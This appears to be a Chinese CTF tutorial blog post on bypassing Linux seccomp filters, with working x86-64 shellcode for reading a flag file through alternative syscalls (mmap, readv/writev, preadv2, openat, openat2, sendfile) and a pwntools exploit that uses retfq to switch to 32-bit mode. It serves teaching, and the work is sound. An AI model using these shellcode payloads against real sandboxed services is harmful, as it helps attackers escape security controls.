seccomp学习 (2)

文章目录

  • [0x01. execve](#0x01. execve)
  • [0x02. execve + read](#0x02. execve + read)
  • [0x03. execve + read + write](#0x03. execve + read + write)
    • [A. sys_pread64 (nr=17)](#A. sys_pread64 (nr=17))
    • [B. sys_write64 (nr=18, 不可用)](#B. sys_write64 (nr=18, 不可用))
    • [C. sys_readv (nr=19)](#C. sys_readv (nr=19))
    • [D. sys_writev (nr=20)](#D. sys_writev (nr=20))
    • [E. sys_preadv (nr=295)](#E. sys_preadv (nr=295))
    • [F. sys_pwritev (nr=296, 不可用)](#F. sys_pwritev (nr=296, 不可用))
    • [G. sys_preadv2 (nr=327)](#G. sys_preadv2 (nr=327))
    • [H. sys_pwritev2 (nr=328, 不可用)](#H. sys_pwritev2 (nr=328, 不可用))
  • [0x04. execve + open](#0x04. execve + open)
    • [A. openat (nr=257)](#A. openat (nr=257))
    • [B. openat2 (nr=437)](#B. openat2 (nr=437))
  • [0x05. execve + open + openat + openat2](#0x05. execve + open + openat + openat2)
  • [0x06. 其他](#0x06. 其他)
    • [A. sendfile (nr=40)](#A. sendfile (nr=40))

在本文中,我们来讨论一下近年来针对seccomp的绕过姿势。本文仅讨论x86-64平台。(来货了来货了)

0x01. execve

这个是最为简单的一类题型,不能直接获得shell,但是可以通过open、read、write三个系统调用将flag文件首先保存到内存之中再输出到控制台。

下面的代码是在内存中不存在"./flag"字符串的情况下绕过execve的orw shellcode:

函数原型:

c 复制代码
    long sys_open(const char __user *filename, int flags, umode_t mode);
    long sys_read(unsigned int fd, char __user *buf, size_t count);
    long sys_write(unsigned int fd, const char __user *buf, size_t count);

这里对于readwrite函数的参数都不需要解释,对于open函数,flags参数表示以何种方式打开文件,0为只读,当open没有创建文件时,mode参数会被忽略,不过最好还是也传入0。

示例:

masm 复制代码
    mov rax, 0x67616c662f2e
    push rax
    mov rdi, rsp
    xor edx, edx
    xor esi, esi
    push SYS_open
    pop rax
    syscall
    
    push 3
    pop rdi
    push 0xFF   /* read size */
    pop rdx
    mov rsi, rsp
    push SYS_read
    pop rax
    syscall
    
    push 1
    pop rdi
    push 0xFF   /* write size */
    pop rdx
    mov rsi, rsp
    push SYS_write
    pop rax
    syscall

0x02. execve + read

如果题目禁用了read系统调用,但没有禁用open,则可以通过mmap的系统调用将文件内容映射到内存中,再write

需要注意的是,对于Linux系统调用,6个参数的传递寄存器分别为rdirsirdxr10r8r9。与Glibc的传参有所不同。

函数原型:

c 复制代码
    long sys_mmap(unsigned long addr, unsigned long len,
			unsigned long prot, unsigned long flags,
			unsigned long fd, off_t pgoff);
masm 复制代码
    mov rax, 0x67616c662f2e
    push rax
    mov rdi, rsp
    xor edx, edx
    xor esi, esi
    push SYS_open
    pop rax
    syscall
    
    mov rdi, 0x10000
    mov rsi, 0x1000
    mov rdx, 7
    push 0x12
    pop r10
    push 0x3
    pop r8
    xor r9, r9
    push SYS_mmap
    pop rax
    syscall
    
    push 1
    pop rdi
    push 0xFF   /* write size */
    pop rdx
    mov rsi, 0x10000
    push SYS_write
    pop rax
    syscall

注意,内核的mmap函数的flag参数和glibc的不太一样,0x10表示映射文件MAP_FILE,0x2表示私有映射MAP_PRIVATE,0x20表示匿名映射MAP_ANONYMOUS。这里需要使用MAP_FILE | MAP_PRIVATE才能完成映射。

上述代码可以成功攻击下面的C代码:

c 复制代码
#include <sys/mman.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <stdlib.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <stddef.h>

int main(){
	char* space = mmap((void*)0x600000000000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_SHARED, -1, 0);
	read(0, space, 0x1000);
	
	struct sock_filter filter[] = {
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),
        BPF_JUMP(BPF_JMP | BPF_JEQ, AUDIT_ARCH_X86_64, 0, 4),
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
        BPF_JUMP(BPF_JMP | BPF_JEQ, 59, 2, 0),
        BPF_JUMP(BPF_JMP | BPF_JEQ, 0, 1, 0),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL)
    };
    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
        .filter = filter,
    };
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
	
	((void(*)(void))space)();
}

0x03. execve + read + write

如果readwrite都被禁用,我们又应该如何应对呢?不要急,这里给出最新版本Linux系统调用的64位系统调用号:传送门

通过pwn constgrep -c amd64 -m ^SYS命令可以查看pwntools预先定义的所有32位与64位的系统调用号符号,这些符号可以用于pwntools脚本的汇编语言字符串中。

我们可以发现,系统调用表中还有preadpwrite等似乎也可以进行读写的函数。下面就来详细分析一下这些系统调用:

A. sys_pread64 (nr=17)

c 复制代码
    ssize_t pread(int fd, void* buf, size_t count, loff_t pos);

该函数与read函数类似,但参数有4个,第4个为开始读的偏移位置,且使用sys_pread64函数读取完成后,文件指针不会改变。

B. sys_write64 (nr=18, 不可用)

c 复制代码
    ssize_t pwrite(int fd, void* buf, size_t count, loff_t pos);

sys_write64sys_read64类似,函数写操作完成后,文件指针不会改变。但是对于写操作而言,标准输出不是普通的文件描述符,可以看做一个字符设备,指定pos时写操作会失败。已经经过试验测试得出,sys_write64不能将内存中的内容输出到控制台中。

C. sys_readv (nr=19)

c 复制代码
    ssize_t readv(int fd, const struct iovec *iov, int iovcnt);

readv函数实现了分散输入的功能,即将可以将一个文件描述符的内容写到多个内存缓冲区中。注意这里的"写入到多个内存缓冲区"指的是依次写入,第1个缓冲区写满之后才会接着文件后面的内容继续写第2个缓冲区。

c 复制代码
    struct iovec{
        void __user* iov_base;
        __kernel_size_t iov_len;
    }

这里的vec参数应该是struct iovec结构体的数组,而第三个参数vlen为数组的长度。iovec结构体中,iov_base为一个内存地址,iov_len为内存的长度。因此如果需要使用这个系统调用,需要首先构造iovec结构体实例。在pwn题中,我们只需要构造一个结构体实例即可。

D. sys_writev (nr=20)

c 复制代码
    ssize_t writev(int fd, const struct iovec *iov, int iovcnt);

writev函数实现了集中输出的功能,即将iovec结构体数组中的缓冲区内容集中输出到一个文件描述符中。

下面为使用readv函数和writev函数的示例:

masm 复制代码
    mov rax, 0x67616c662f2e
    push rax
    mov rdi, rsp
    xor edx, edx
    xor esi, esi
    push SYS_open
    pop rax
    syscall
    
    push 3
    pop rdi
    push 0x1    /* iov size */
    pop rdx
    push 0x100
    lea rbx, [rsp-8]
    push rbx
    mov rsi, rsp
    push SYS_readv
    pop rax
    syscall
    
    push 1
    pop rdi
    push 0x1    /* iov size */
    pop rdx
    push 0x100
    lea rbx, [rsp+8]
    push rbx
    mov rsi, rsp
    push SYS_writev
    pop rax
    syscall

E. sys_preadv (nr=295)

c 复制代码
    ssize_t preadv(int fd, const struct iovec *iov, int iovcnt,
                       off_t offset);

这个函数同时具有pread函数和readv函数的性质,使用iovec*结构体可完成分散输入,同时可设置偏移量且读取后不修改文件指针。其中pos_l指的是读取偏移的低32位,pos_h为高32位。

F. sys_pwritev (nr=296, 不可用)

c 复制代码
    ssize_t pwritev(int fd, const struct iovec *iov, int iovcnt,
                       off_t offset);

这个函数同时具有pwrite函数和writev函数的性质,这也意味着其无法向标准输出写入内容。

G. sys_preadv2 (nr=327)

c 复制代码
   ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt,
                   off_t offset, int flags);

这个函数在参数上与preadv的区别是多了一个flags。这个flags的标志位主要针对一些效率、同步方面,直接填0即可。

H. sys_pwritev2 (nr=328, 不可用)

c 复制代码
   ssize_t pwritev2(int fd, const struct iovec *iov, int iovcnt,
                   off_t offset, int flags);

对于上述系统调用,可以参考资料进行学习。

0x04. execve + open

上述所有读写的系统调用都需要使用文件描述符,但如果禁用了open系统调用,又应该如何获取文件描述符呢?好在,还有其他的系统调用能够获取文件描述符。

A. openat (nr=257)

    ssize_t openat(int dfd, const char* filename, int flags, umode_t mode);

参考资料,函数的第一个参数dfd指的是当path为相对路径时,该路径在文件系统中的开始地址(即打开目录获取的文件描述符),但可以指定其为AT_FDCWD(-100),指定路径为当前路径。另外3个参数与open参数相同。openat的返回值与open相同,都是当前正未使用的最小的文件描述符值。

示例代码:

masm 复制代码
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    xor edx, edx
    xor r10, r10
    push SYS_openat
    pop rax
    syscall
    
    mov rdi, 3
    push 0x100
    lea rbx, [rsp-8]
    push rbx
    mov rsi, rsp
    mov rdx, 1
    xor r10, r10
    xor r8, r8
    push SYS_preadv2
    pop rax
    syscall
    
    push 1
    pop rdi
    push 0x1
    pop rdx
    push 0x100
    lea rbx, [rsp+8]
    push rbx
    mov rsi, rsp
    push SYS_writev
    pop rax
    syscall

B. openat2 (nr=437)

c 复制代码
    ssize_t openat2(int dfd, const char* filename, struct open_how* how, size_t usize);

这个函数封装了三个参数到结构体how中:

c 复制代码
struct open_how {
	__u64 flags;
	__u64 mode;
	__u64 resolve;
};

dfd与另外3个参数的使用方式与openat相同,resolve指解析路径名所有组件的方式,普通的打开文件操作填0即可。参数size必须为结构体open_how的大小,也就是0x18

实例代码:

c 复制代码
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    push 0
    push 0
    push 0
    mov rdx, rsp
    mov r10, 0x18
    push SYS_openat2
    pop rax
    syscall

0x05. execve + open + openat + openat2

如果题目禁用了x64的所有3个打开文件的系统调用,此时还有一种情况使得我们可以成功打开文件并获取文件描述符:当seccomp没有禁用x64的fstat系统调用时,可以通过将程序暂时转换为32位模式再通过open系统调用打开文件,因为32位的open系统调用与64位的不同,32位open的系统调用号为5,对应x64的系统调用表中为fstat系统调用。

retfq指令,在x86-64中可用于将程序从64位长模式转换为32位模式,在转换时需要注意修改栈地址为32位地址,并向栈中保存一些特定值,在64位系统中,cs寄存器的值为0x23时表示当前程序处于32位状态,值为0x33时表示当前程序处于64位状态。在执行retfq指令之前,我们就应该修改rsp,并将0x23和要执行的32位指令地址push进栈。在执行retfq后,程序将自动转到32位环境中工作。在32位代码执行结束后,如果需要返回到64位状态,可通过jmp 0x33:xxxxx ; ret的指令返回到64位代码。

注意:如果在执行retfqrsp高位的任何值都会被直接舍弃,只取低32位作为新的栈地址,而这个地址通常是不能预先获取的,因此retfq前重新赋值rsp很有必要。

示例:

python 复制代码
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

shellcode_64_1 = '''
    mov rdi, 0x10000
    mov rsi, 0x1000
    mov rdx, 7
    mov r10, 0x21
    mov r8, 0xFFFFFFFF
    xor r9, r9
    push SYS_mmap
    pop rax
    syscall
    
    cld
    mov rcx, 0x200
    mov rdi, 0x10000
    mov rsi, 0x600000000100
    rep movsb
    
    mov rsp, 0x10800
    push 0x23
    push 0x10000
    pop rax
    push rax
    retfq
'''

shellcode_32 = '''
	mov eax, 0x6761
	push eax
	mov eax, 0x6c662f2e
	push eax
	mov ebx, esp
	xor ecx, ecx
	xor edx, edx
	mov eax, 5
	int 0x80
	jmp 0x33:0x10100
	ret
'''

shellcode_64_2 = '''
    mov rdi, 3
    push 0x100
    lea rbx, [rsp-8]
    push rbx
    mov rsi, rsp
    mov rdx, 1
    xor r10, r10
    xor r8, r8
    push SYS_preadv2
    pop rax
    syscall
    
    push 1
    pop rdi
    push 0x1
    pop rdx
    push 0x100
    lea rbx, [rsp+8]
    push rbx
    mov rsi, rsp
    push SYS_writev
    pop rax
    syscall
'''

io = process('./test')
payload = asm(shellcode_64_1).ljust(0x100, b'\0')
payload += asm(shellcode_32, arch='i386', bits=32)
payload = payload.ljust(0x200, b'\0')
payload += asm(shellcode_64_2)
io.send(payload)
io.interactive()

需要注意的是32位的系统调用使用的是int 0x80指令触发,且传参使用的寄存器也有所不同(rbxrcxrdxrsirdi)。既然转到32位可以绕过基于系统调用号的检查,那么自然而然地,我们也可以进行扩展,如果禁用了64位的所有readwrite,或许也可以通过使用32位的readwrite相关系统调用完成读写操作。这一部分就交给读者自行探索。

0x06. 其他

如果题目禁用了所有与readwrite相关,也就是上面提到的与读写相关的所有系统调用,我们又应该如何应对呢?实际上seccomp的绕过姿势有很多,这里介绍一下sendfile,至于其他的技巧将在下一篇文章中介绍。

A. sendfile (nr=40)

这是一个很好用的系统调用,它允许将文件数据从一个文件描述符直接发送到另一个文件描述符,而且不需要经过缓冲区拷贝,被称为"零拷贝技术",这一技术也被应用于mmap等系统调用中。可以说这个系统调用用起来比read+write还要简单。

c 复制代码
    ssize_t sendfile(int out_fd, int in_fd, off_t* offset, size_t count);

示例:

masm 复制代码
    mov rdi, 1
    mov rsi, 3
    push 0
    mov rdx, rsp
    mov r10, 0x100
    push SYS_sendfile
    pop rax
    syscall
相关推荐
机智的叉烧1 小时前
前沿重器[57] | sigir24:大模型推荐系统的文本ID对齐学习
人工智能·学习·机器学习
量子-Alex2 小时前
【多模态聚类】用于无标记视频自监督学习的多模态聚类网络
学习·音视频·聚类
吉大一菜鸡2 小时前
FPGA学习(基于小梅哥Xilinx FPGA)学习笔记
笔记·学习·fpga开发
WTT00112 小时前
2024楚慧杯WP
大数据·运维·网络·安全·web安全·ctf
爱吃西瓜的小菜鸡5 小时前
【C语言】判断回文
c语言·学习·算法
小A1595 小时前
STM32完全学习——SPI接口的FLASH(DMA模式)
stm32·嵌入式硬件·学习
群联云防护小杜5 小时前
如何给负载均衡平台做好安全防御
运维·服务器·网络·网络协议·安全·负载均衡
ihengshuai5 小时前
HTTP协议及安全防范
网络协议·安全·http
岁岁岁平安5 小时前
spring学习(spring-DI(字符串或对象引用注入、集合注入)(XML配置))
java·学习·spring·依赖注入·集合注入·基本数据类型注入·引用数据类型注入
武昌库里写JAVA5 小时前
Java成长之路(一)--SpringBoot基础学习--SpringBoot代码测试
java·开发语言·spring boot·学习·课程设计